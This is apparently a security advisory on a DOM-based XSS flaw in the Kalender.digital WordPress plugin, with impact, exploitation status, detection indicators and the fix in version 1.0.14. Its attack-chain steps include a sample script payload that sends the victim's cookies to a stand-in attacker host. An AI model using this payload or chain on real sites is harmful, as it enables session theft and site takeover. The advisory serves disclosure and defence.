CVE-2025-62752: 
WordPress vulnerability analysis and mitigation

CVE-2025-62752 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Kalender.digital (Calendar.Online / Kalender.Digital) WordPress plugin. It affects all versions up to and including 1.0.13, with version 1.0.14 containing the fix. The vulnerability was reported by Muhammad Yudha - DJ on October 21, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically manifesting as DOM-Based XSS. The flaw arises from insufficient sanitization of user-supplied input that is written directly into the DOM via JavaScript, allowing an attacker to inject and execute malicious scripts in a victim's browser. Exploitation requires the attacker to hold at least a Contributor-level WordPress role and requires a privileged user to interact with a crafted page or link. No public proof-of-concept code has been identified at this time (Patchstack).

Successful exploitation allows a low-privileged authenticated attacker to inject malicious JavaScript that executes in the context of another user's browser session, potentially enabling session token theft, unauthorized actions performed on behalf of the victim, and injection of malicious redirects or advertisements into the affected WordPress site. The scope is changed (S:C), meaning the impact extends beyond the vulnerable component to the victim's browser environment. Confidentiality, integrity, and availability are each assessed as Low impact (Patchstack, Red Hat CVE).

No active in-the-wild exploitation has been reported for CVE-2025-62752, and no public exploit code or weaponized tooling has been identified. The EPSS score is approximately 0.033%, indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority with no impactful threat currently observed (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Kalender.digital plugin at version 1.0.13 or earlier using tools like WPScan or by inspecting plugin directories.
2. Obtain low-privileged access: Register or use an existing Contributor-level (or higher) account on the target WordPress site.
3. Craft malicious payload: Prepare a DOM-Based XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) designed to be injected through the plugin's unsanitized input field.
4. Inject payload: Submit the crafted payload via the plugin's calendar input or configuration field that is processed client-side without proper sanitization.
5. Social engineering: Deliver a link or page containing the injected content to a higher-privileged user (e.g., Administrator) to trigger execution.
6. Harvest results: When the victim visits the crafted page, the malicious script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Patchstack).

• Logs: WordPress access logs showing unusual POST or GET requests to pages rendering the Kalender.digital plugin with encoded or suspicious script content in parameters.
• Network: Outbound browser requests from victim sessions to unknown external domains shortly after visiting pages with the Kalender.digital plugin embedded.
• File System: Unexpected modifications to plugin files in wp-content/plugins/kalender-digital/ that may indicate tampering.
• Browser/Application: Reports from users of unexpected redirects, pop-ups, or unauthorized actions occurring on pages that embed the calendar plugin.

The vendor has released version 1.0.14 of the Kalender.digital WordPress plugin, which resolves this vulnerability. Site administrators should update the plugin to version 1.0.14 or later immediately via the WordPress admin dashboard or by downloading the patched version from the WordPress plugin repository. No configuration-based workaround is available; updating is the only recommended remediation. Patchstack users can enable auto-update for vulnerable plugins to automate this process (Patchstack).

Wordfence included CVE-2025-62752 in its weekly WordPress vulnerability report covering December 15, 2025 to January 4, 2026, noting it as part of a broader set of plugin vulnerabilities disclosed during that period (Wordfence). No significant independent researcher commentary or notable media coverage beyond standard vulnerability aggregation has been identified for this CVE.